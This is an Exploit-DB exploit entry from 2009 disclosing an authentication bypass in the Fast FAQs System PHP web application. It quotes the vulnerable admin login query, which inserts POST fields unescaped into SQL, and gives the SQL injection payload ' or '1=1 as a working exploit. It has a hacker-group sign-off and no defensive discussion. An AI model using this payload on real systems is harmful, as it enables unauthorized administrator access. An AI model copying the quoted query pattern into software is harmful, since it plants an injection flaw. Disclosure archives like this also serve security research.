Exploit Fast FAQs System - Authentication Bypass

[Exploiter]

EDB-ID

7711

Проверка EDB

1. Пройдено

Автор

X0R

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-01-09

########################
# -=Fast FAQs System=- #
########################
Autore: x0r
Email: [email protected]
Cms Site: http://fastcreators.com/products/fast_faq/download.php
#########################

Bug In \admin\authorize.php

$query = "select * from admin where userid='{$_POST['uname']}' AND
pass='{$_POST['pass']}'";

Exploit:

' or '1=1

#######################

Greetz: Anna...Strabica...Emetta... Vi Amo..

-- w00t Zone - w00tzone.org 

# milw0rm.com [2009-01-09]